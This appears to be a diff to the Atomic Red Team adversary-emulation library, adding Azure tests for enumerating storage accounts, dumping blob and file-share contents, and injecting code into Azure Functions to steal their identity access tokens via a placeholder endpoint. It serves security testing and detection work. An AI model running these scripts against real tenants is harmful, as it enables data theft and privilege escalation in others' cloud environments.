- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
credential-access:
|
||||
T1557:
|
||||
|
||||
@@ -14122,7 +14122,7 @@ defense-evasion:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -14253,6 +14253,7 @@ defense-evasion:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
T1078.004:
|
||||
technique:
|
||||
@@ -43864,7 +43865,7 @@ lateral-movement:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -43995,6 +43996,7 @@ lateral-movement:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
credential-access:
|
||||
T1557:
|
||||
|
||||
@@ -13992,7 +13992,7 @@ defense-evasion:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -14123,6 +14123,7 @@ defense-evasion:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
T1078.004:
|
||||
technique:
|
||||
@@ -43494,7 +43495,7 @@ lateral-movement:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -43625,6 +43626,7 @@ lateral-movement:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
credential-access:
|
||||
T1557:
|
||||
|
||||
@@ -25870,7 +25870,7 @@ defense-evasion:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -26001,6 +26001,7 @@ defense-evasion:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
T1078.004:
|
||||
technique:
|
||||
@@ -73341,7 +73342,7 @@ lateral-movement:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -73472,6 +73473,7 @@ lateral-movement:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
credential-access:
|
||||
T1557:
|
||||
|
||||
@@ -24,6 +24,8 @@ Adversaries may also obtain then abuse leaked credentials from source repositori
|
||||
|
||||
- [Atomic Test #3 - AWS - Scan for Anonymous Access to S3](#atomic-test-3---aws---scan-for-anonymous-access-to-s3)
|
||||
|
||||
- [Atomic Test #4 - Azure - Dump Azure Storage Account Objects via Azure CLI](#atomic-test-4---azure---dump-azure-storage-account-objects-via-azure-cli)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -191,4 +193,115 @@ echo Please install the aws-cli and configure your AWS default profile using: aw
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #4 - Azure - Dump Azure Storage Account Objects via Azure CLI
|
||||
This test dumps the content of the storage account objects present in the file defined in file_shares_csv_file_path. Note that this file is created in the atomic test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". When created manually, it must contain the columns "ResourceGroup","StorageAccountName", "FileShareName", "ContainerName", "BlobName".
|
||||
|
||||
Requirements:
|
||||
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
|
||||
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
|
||||
|
||||
**Supported Platforms:** Iaas:azure
|
||||
|
||||
|
||||
**auto_generated_guid:** 67374845-b4c8-4204-adcc-9b217b65d4f1
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Inputs:
|
||||
| Name | Description | Type | Default Value |
|
||||
|------|-------------|------|---------------|
|
||||
| output_folder | Folder path to output file share content to | path | $env:temp\T1530_storage_account_objects|
|
||||
| storage_account_objects_csv_file_path | Path to file that contains all storage account objects in form of a csv file. This may be the result from Test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". | path | $env:temp\T1619_storage_account_objects.csv|
|
||||
|
||||
|
||||
#### Attack Commands: Run with `powershell`!
|
||||
|
||||
|
||||
```powershell
|
||||
$storage_account_objects = Import-Csv -Path "#{storage_account_objects_csv_file_path}"
|
||||
|
||||
# Login to Azure
|
||||
az login
|
||||
|
||||
if (-not (Test-Path -Path "#{output_folder}")) {
|
||||
New-Item -ItemType Directory -Path "#{output_folder}"
|
||||
}
|
||||
|
||||
foreach ($row in $storage_account_objects) {
|
||||
|
||||
if ($row.FileShareName -ne ""){
|
||||
$allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query "allowSharedKeyAccess"
|
||||
|
||||
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
|
||||
Write-Output "Shared key access is disabled for this storage account."
|
||||
} else {
|
||||
Write-Output "Fetching content from file share: $($row.FileShareName) in storage account $($row.StorageAccountName) ..."
|
||||
$connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv
|
||||
|
||||
# Create folder for storage account objects
|
||||
$storageAccountOutputPath = Join-Path #{output_folder} "$($row.ResourceGroup)_$($row.StorageAccountName)"
|
||||
if (-not (Test-Path -Path $storageAccountOutputPath)) {
|
||||
New-Item -ItemType Directory -Path $storageAccountOutputPath
|
||||
}
|
||||
|
||||
# create folder for file share content
|
||||
$fileSharePath = Join-Path -Path $storageAccountOutputPath $row.FileShareName
|
||||
if (-not (Test-Path -Path $fileSharePath)) {
|
||||
New-Item -ItemType Directory -Path $fileSharePath
|
||||
}
|
||||
az storage file download-batch --connection-string $connectionString --source $row.FileShareName --destination $fileSharePath
|
||||
}
|
||||
} elseif ($row.ContainerName -ne "" -and $row.BlobName -eq "") {
|
||||
$allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query "allowSharedKeyAccess"
|
||||
|
||||
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
|
||||
Write-Output "Shared key access is disabled for this storage account."
|
||||
} else {
|
||||
Write-Output "Fetching all blobs from container $($row.ContainerName) in storage account $($row.StorageAccountName) ..."
|
||||
$connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv
|
||||
|
||||
# Create folder for storage account objects
|
||||
$storageAccountOutputPath = Join-Path #{output_folder} "$($row.ResourceGroup)_$($row.StorageAccountName)"
|
||||
if (-not (Test-Path -Path $storageAccountOutputPath)) {
|
||||
New-Item -ItemType Directory -Path $storageAccountOutputPath
|
||||
}
|
||||
|
||||
# create folder for blob content
|
||||
$containerFolderPath = Join-Path $storageAccountOutputPath $row.ContainerName
|
||||
if (-not (Test-Path -Path $containerFolderPath)) {
|
||||
New-Item -ItemType Directory -Path $containerFolderPath
|
||||
}
|
||||
az storage blob download-batch --destination $containerFolderPath --source $row.ContainerName --connection-string $connectionString
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### Cleanup Commands:
|
||||
```powershell
|
||||
Remove-Item -Path "#{output_folder}" -Recurse -Force -erroraction silentlycontinue
|
||||
Write-Output "Removed #{output_folder}"
|
||||
```
|
||||
|
||||
|
||||
|
||||
#### Dependencies: Run with `powershell`!
|
||||
##### Description: Azure CLI must be installed
|
||||
##### Check Prereq Commands:
|
||||
```powershell
|
||||
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
|
||||
```
|
||||
##### Get Prereq Commands:
|
||||
```powershell
|
||||
Install-Module -Name Az -Force
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -113,6 +113,7 @@ atomic_tests:
|
||||
name: sh
|
||||
elevation_required: false
|
||||
- name: Azure - Dump Azure Storage Account Objects via Azure CLI
|
||||
auto_generated_guid: 67374845-b4c8-4204-adcc-9b217b65d4f1
|
||||
description: |-
|
||||
This test dumps the content of the storage account objects present in the file defined in file_shares_csv_file_path. Note that this file is created in the atomic test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". When created manually, it must contain the columns "ResourceGroup","StorageAccountName", "FileShareName", "ContainerName", "BlobName".
|
||||
|
||||
|
||||
@@ -0,0 +1,271 @@
|
||||
# T1550.001 - Use Alternate Authentication Material: Application Access Token
|
||||
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1550/001)
|
||||
<blockquote>
|
||||
|
||||
Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.
|
||||
|
||||
Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)
|
||||
|
||||
OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)
|
||||
|
||||
For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)
|
||||
|
||||
Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)
|
||||
|
||||
Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.
|
||||
|
||||
</blockquote>
|
||||
|
||||
## Atomic Tests
|
||||
|
||||
- [Atomic Test #1 - Azure - Functions code upload - Functions code injection via Blob upload](#atomic-test-1---azure---functions-code-upload---functions-code-injection-via-blob-upload)
|
||||
|
||||
- [Atomic Test #2 - Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token](#atomic-test-2---azure---functions-code-upload---functions-code-injection-via-file-share-modification-to-retrieve-the-functions-identity-access-token)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
## Atomic Test #1 - Azure - Functions code upload - Functions code injection via Blob upload
|
||||
This test injects code into an Azure Function (RCE).
|
||||
|
||||
Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/
|
||||
|
||||
Similar to T1550.001 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token", the depicted code injection scenario tampers the source code of Azure Functions to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance. In this case, the prepared zip file (underlying package for a Function) is expected to contain the tampered function presented in src/code_to_insert.py. Note that the endpoint https://changeme.net needs to be adapted in your packed function code.
|
||||
|
||||
Note:
|
||||
- The Azure Function modified in this test must be hosted via Azure Blob storage (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
|
||||
- For Function code upload to Azure Functions that are hosted via Azure Files in a File Share, refer to T1550.001 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token".
|
||||
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
|
||||
|
||||
Requirements:
|
||||
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
|
||||
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
|
||||
|
||||
**Supported Platforms:** Iaas:azure
|
||||
|
||||
|
||||
**auto_generated_guid:** 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Inputs:
|
||||
| Name | Description | Type | Default Value |
|
||||
|------|-------------|------|---------------|
|
||||
| storage_account_name | Name of storage account that is related to the Function | string | storage_account_name_example|
|
||||
| container_name | Name of the container that contains the function blob | string | container_name_example|
|
||||
| blob_name | Name of the function blob | string | blob_example|
|
||||
| file_path_blob | Path to the function code file to upload as blob | path | $env:temp/T1550.001_function_code.zip|
|
||||
|
||||
|
||||
#### Attack Commands: Run with `powershell`!
|
||||
|
||||
|
||||
```powershell
|
||||
az login # Log in to Azure CLI
|
||||
|
||||
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
|
||||
|
||||
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
|
||||
Write-Output "Shared key access is disabled for this storage account."
|
||||
} else {
|
||||
$connectionString = az storage account show-connection-string --name "#{storage_account_name}" --query connectionString --output tsv
|
||||
|
||||
# Download blob for cleanup
|
||||
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
|
||||
az storage blob download --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file $tmpOriginalFunctionCode --overwrite true
|
||||
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
# Upload new blob version if download of existing blob succeeded
|
||||
az storage blob upload --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file "#{file_path_blob}" --overwrite true
|
||||
} else {
|
||||
Write-Output "Download original function code failed."
|
||||
exit 1
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### Cleanup Commands:
|
||||
```powershell
|
||||
az login # Log in to Azure CLI
|
||||
|
||||
# Upload previous funciton code
|
||||
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
|
||||
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
|
||||
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Output "Uploaded original version of function code."
|
||||
|
||||
# Delete tmp original blob file if upload succeeded
|
||||
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
|
||||
} else {
|
||||
Write-Output "Upload original function code failed."
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
#### Dependencies: Run with `powershell`!
|
||||
##### Description: Azure CLI must be installed
|
||||
##### Check Prereq Commands:
|
||||
```powershell
|
||||
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
|
||||
```
|
||||
##### Get Prereq Commands:
|
||||
```powershell
|
||||
Install-Module -Name Az -Force
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #2 - Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token
|
||||
This test injects code into an Azure Function (RCE) to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance.
|
||||
|
||||
Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/
|
||||
|
||||
Once executed, the "https://changeme" will retrieve the access token when the function app is executed on behalf of the tenant. The function may be triggered manually from authorized people, triggered in regular intervals, or in various other ways. The access token can then be used to perform further attack steps with the permissions that the function app holds (e.g. listening virtual machines).
|
||||
|
||||
Note:
|
||||
- The Azure Function modified in this test must be hosted via Azure Files in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
|
||||
- For Function code upload to Azure Functions that are hosted via Azure Blob storage, refer to T1550.001 "Azure - Functions code upload - Functions code injection via Blob upload".
|
||||
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
|
||||
- Important: Change the https://changeme.net in code_to_insert_path to a self-controlled endpoint. This endpoint can be hosted e.g. as request bin via Pipedream to display the body of incoming POST requests.
|
||||
- The default injected code to retrieve the access token can be replaced by arbitrary other code. In this case: Replace the code defined in code_to_insert_path
|
||||
|
||||
Requirements:
|
||||
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
|
||||
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
|
||||
|
||||
Execution options: Defined by the input field execution_option
|
||||
- insert_code: This option (1) downloads the existing funciton code into a tmp file, (2) injects the code from code_to_insert_path at the beginning of the file, and (3) uploads the tampered file to the targeted Azure Function code (Azure File Share File).
|
||||
- replace_file: This option uploads the function code defined in code_to_insert_path to the targeted Azure Function code (Azure File Share File).
|
||||
|
||||
**Supported Platforms:** Iaas:azure
|
||||
|
||||
|
||||
**auto_generated_guid:** 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Inputs:
|
||||
| Name | Description | Type | Default Value |
|
||||
|------|-------------|------|---------------|
|
||||
| storage_account_name | Name of storage account that is related to the Function | string | storage_account_name_example|
|
||||
| execution_option | Chooses execution option insert_code, or replace_file | string | insert_code|
|
||||
| file_share_name | Name of the file share that is related to the Function | string | file_share_name_example|
|
||||
| file_path | Path to the Function file in the file share | path | site/wwwroot/function_app.py|
|
||||
| code_to_insert_path | The code that will be injected into the Function | path | $PathToAtomicsFolder/T1550.001/src/code_to_insert.py|
|
||||
|
||||
|
||||
#### Attack Commands: Run with `powershell`!
|
||||
|
||||
|
||||
```powershell
|
||||
az login # Log in to Azure CLI
|
||||
|
||||
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
|
||||
|
||||
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
|
||||
Write-Output "Shared key access is disabled for this storage account."
|
||||
} else {
|
||||
# Download file for cleanup
|
||||
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
|
||||
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
|
||||
az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpOriginalFunctionCode
|
||||
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
# Upload new funciton code if download of existing code succeeded
|
||||
if ("#{execution_option}" -eq "insert_code") {
|
||||
# Download file from file share for injection
|
||||
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
|
||||
az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpFunctionCode
|
||||
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Output "Function code download failed."
|
||||
exit 1
|
||||
}
|
||||
Write-Output "File downloaded: $($tmpFunctionCode)"
|
||||
|
||||
$insertContent = Get-Content -Path "#{code_to_insert_path}" -Raw # Load the content of the insert file
|
||||
|
||||
$content = Get-Content -Path $tmpFunctionCode -Raw # Inject code to file
|
||||
$content = $insertContent + "`n" + $content # Insert the new code at the beginning
|
||||
$content | Set-Content -Path $tmpFunctionCode # Write the modified content to the file
|
||||
|
||||
# Upload file to file share
|
||||
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpFunctionCode --only-show-errors
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Output "Function code upload failed."
|
||||
exit 1
|
||||
}
|
||||
Write-Output "Uploaded the tampered file"
|
||||
} elseif ("#{execution_option}" -eq "replace_file") {
|
||||
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source "#{code_to_insert_path}" --only-show-errors
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Output "Function code upload failed."
|
||||
exit 1
|
||||
}
|
||||
Write-Output "Uploaded the tampered file"
|
||||
} else {
|
||||
Write-Output "Please choose a valid execution_option"
|
||||
exit 1
|
||||
}
|
||||
} else {
|
||||
Write-Output "Download original function code failed."
|
||||
exit 1
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### Cleanup Commands:
|
||||
```powershell
|
||||
az login # Log in to Azure CLI
|
||||
|
||||
# Upload previous funciton code
|
||||
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
|
||||
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
|
||||
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
|
||||
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Output "Uploaded original version of function code."
|
||||
|
||||
# Delete tmp original f file if upload succeeded
|
||||
if ("#{execution_option}" -eq "insert_code") {
|
||||
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
|
||||
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
|
||||
}
|
||||
|
||||
# Delete tmp original file
|
||||
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
|
||||
} else {
|
||||
Write-Output "Upload original function code failed."
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
#### Dependencies: Run with `powershell`!
|
||||
##### Description: Azure CLI must be installed
|
||||
##### Check Prereq Commands:
|
||||
```powershell
|
||||
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
|
||||
```
|
||||
##### Get Prereq Commands:
|
||||
```powershell
|
||||
Install-Module -Name Az -Force
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
@@ -2,6 +2,7 @@ attack_technique: T1550.001
|
||||
display_name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
atomic_tests:
|
||||
- name: Azure - Functions code upload - Functions code injection via Blob upload
|
||||
auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
|
||||
description: |-
|
||||
This test injects code into an Azure Function (RCE).
|
||||
|
||||
@@ -83,6 +84,7 @@ atomic_tests:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
- name: Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token
|
||||
auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
|
||||
description: |-
|
||||
This test injects code into an Azure Function (RCE) to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance.
|
||||
|
||||
|
||||
@@ -12,6 +12,8 @@ Cloud service providers offer APIs allowing users to enumerate objects stored wi
|
||||
|
||||
- [Atomic Test #1 - AWS S3 Enumeration](#atomic-test-1---aws-s3-enumeration)
|
||||
|
||||
- [Atomic Test #2 - Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI](#atomic-test-2---azure---enumerate-storage-account-objects-via-shared-key-authorization-using-azure-cli)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -52,4 +54,168 @@ echo Please install the aws-cli and configure your AWS default profile using: aw
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #2 - Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI
|
||||
This test enumerates all existing storage accounts and tries to fetch for each account the contained storage account objects. The access to storage objects is only possible if Shared Key authorization is enabled (e.g this is the case per default for storage objects creaded by Azure Function Apps).
|
||||
|
||||
Requirements:
|
||||
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
|
||||
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
|
||||
|
||||
Output format: Csv file that contains the found storage account objects
|
||||
- Columns: ResourceGroup, StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName
|
||||
- The content of these columns is filled out depending on the object. Not-required columns are left empt. Example: For a blob object the ResourceGroup, StorageAccountName, ContainerName, BlobName are filled out, the other fields are left empty.
|
||||
|
||||
**Supported Platforms:** Iaas:azure
|
||||
|
||||
|
||||
**auto_generated_guid:** 070322a4-2c60-4c50-8ffb-c450a34fe7bf
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Inputs:
|
||||
| Name | Description | Type | Default Value |
|
||||
|------|-------------|------|---------------|
|
||||
| output_file | Csv file path for results | path | $env:temp\T1619_storage_account_objects.csv|
|
||||
|
||||
|
||||
#### Attack Commands: Run with `powershell`!
|
||||
|
||||
|
||||
```powershell
|
||||
az login # Login to Azure
|
||||
|
||||
# Get all storage accounts in the subscription
|
||||
$storageAccounts = az storage account list --query "[].{name:name, resourceGroup:resourceGroup}" --output json | ConvertFrom-Json
|
||||
|
||||
$storageAccountObjects = @()
|
||||
$downloadedFunctionFiles = @()
|
||||
|
||||
foreach ($account in $storageAccounts) {
|
||||
Write-Output "`nFound storage account $($account.name)"
|
||||
|
||||
$storageAccountObjects += [PSCustomObject]@{
|
||||
ResourceGroup = $account.resourceGroup
|
||||
StorageAccountName = $account.name
|
||||
FileShareName = ""
|
||||
ContainerName = ""
|
||||
BlobName = ""
|
||||
TableName = ""
|
||||
QueueName = ""
|
||||
}
|
||||
|
||||
$allowSharedKeyAccess = az storage account show --name $account.name --resource-group $account.resourceGroup --query "allowSharedKeyAccess"
|
||||
|
||||
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
|
||||
Write-Output "Shared key access is disabled for this storage account."
|
||||
} else {
|
||||
$connectionString = az storage account show-connection-string --name $account.name --resource-group $account.resourceGroup --query connectionString --output tsv
|
||||
|
||||
$fileShares = az storage share list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
|
||||
foreach($fileShare in $fileShares) {
|
||||
Write-Output "Found file share: $($fileShare)"
|
||||
$storageAccountObjects += [PSCustomObject]@{
|
||||
ResourceGroup = $account.resourceGroup
|
||||
StorageAccountName = $account.name
|
||||
FileShareName = $fileShare
|
||||
ContainerName = ""
|
||||
BlobName = ""
|
||||
TableName = ""
|
